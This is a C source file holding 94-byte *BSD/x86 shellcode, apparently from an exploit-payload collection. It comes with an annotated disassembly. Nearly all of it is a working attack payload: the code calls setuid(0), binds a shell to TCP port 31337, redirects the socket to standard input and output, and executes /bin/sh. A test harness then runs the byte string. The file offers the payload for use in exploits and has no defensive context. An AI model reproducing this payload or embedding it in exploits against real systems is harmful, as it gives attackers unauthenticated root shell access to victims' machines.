BSD/x86 - setuid/portbind - 94 bytes

/* * $Id: portbind-bsd.c,v 1.3 2004/06/02 12:22:30 raptor Exp $ * * portbind-bsd.c - setuid/portbind shellcode for *BSD/x86 * Copyright (c) 2003 Marco Ivaldi < raptor@0xdeadbeef.info > * * Simple portbind shellcode that bind()'s a setuid(0) shell on * port 31337/tcp (based on bighawk's code). * * Tested on OpenBSD and FreeBSD. */ /* * setuid(0) * * 20c8: 31 c0 xor %eax,%eax * 20ca: 50 push %eax * 20cb: 50 push %eax * 20cc: b0 17 mov $0x17,%al * 20ce: cd 80 int $0x80 * * socket(AF_INET, SOCK_STREAM, 0) * * 20d0: 31 c9 xor %ecx,%ecx * 20d2: f7 e1 mul %ecx,%eax * 20d4: 51 push %ecx * 20d5: 41 inc %ecx * 20d6: 51 push %ecx * 20d7: 41 inc %ecx * 20d8: 51 push %ecx * 20d9: 51 push %ecx * 20da: b0 61 mov $0x61,%al * 20dc: cd 80 int $0x80 * * bind(s, server, sizeof(server)) * * 20de: 89 c3 mov %eax,%ebx * 20e0: 52 push %edx * 20e1: 66 68 7a 69 pushw $0x697a * 20e5: 66 51 push %cx * 20e7: 89 e6 mov %esp,%esi * 20e9: b1 10 mov $0x10,%cl * 20eb: 51 push %ecx * 20ec: 56 push %esi * 20ed: 50 push %eax * 20ee: 50 push %eax * 20ef: b0 68 mov $0x68,%al * 20f1: cd 80 int $0x80 * * listen(s, 1) * * 20f3: 51 push %ecx * 20f4: 53 push %ebx * 20f5: 53 push %ebx * 20f6: b0 6a mov $0x6a,%al * 20f8: cd 80 int $0x80 * * accept(s, 0, 0) * * 20fa: 52 push %edx * 20fb: 52 push %edx * 20fc: 53 push %ebx * 20fd: 53 push %ebx * 20fe: b0 1e mov $0x1e,%al * 2100: cd 80 int $0x80 * * dup2(c, 2) * dup2(c, 1) * dup2(c, 0) * * 2102: b1 03 mov $0x3,%cl * 2104: 89 c3 mov %eax,%ebx * 2106: b0 5a mov $0x5a,%al * 2108: 49 dec %ecx * 2109: 51 push %ecx * 210a: 53 push %ebx * 210b: 53 push %ebx * 210c: cd 80 int $0x80 * 210e: 41 inc %ecx * 210f: e2 f5 loop 2106 <_sc+0x3e> * * execve("/bin/sh", ["/bin/sh"], NULL) * * 2111: 51 push %ecx * 2112: 68 2f 2f 73 68 push $0x68732f2f * 2117: 68 2f 62 69 6e push $0x6e69622f * 211c: 89 e3 mov %esp,%ebx * 211e: 51 push %ecx * 211f: 54 push %esp * 2120: 53 push %ebx * 2121: 53 push %ebx * 2122: b0 3b mov $0x3b,%al * 2124: cd 80 int $0x80 */ char sc[] = /* 8 + 86 = 94 bytes */ "\x31\xc0\x50\x50\xb0\x17\xcd\x80" "\x31\xc9\xf7\xe1\x51\x41\x51\x41\x51\x51\xb0\x61\xcd\x80" "\x89\xc3\x52\x66\x68" "\x7a\x69" // port 31337/tcp, change if needed "\x66\x51\x89\xe6\xb1\x10\x51\x56\x50\x50\xb0\x68\xcd\x80" "\x51\x53\x53\xb0\x6a\xcd\x80" "\x52\x52\x53\x53\xb0\x1e\xcd\x80" "\xb1\x03\x89\xc3\xb0\x5a\x49\x51\x53\x53\xcd\x80" "\x41\xe2\xf5\x51\x68//sh\x68/bin\x89\xe3\x51\x54\x53\x53\xb0\x3b\xcd\x80"; main() { int (*f)() = (int (*)())sc; f(); }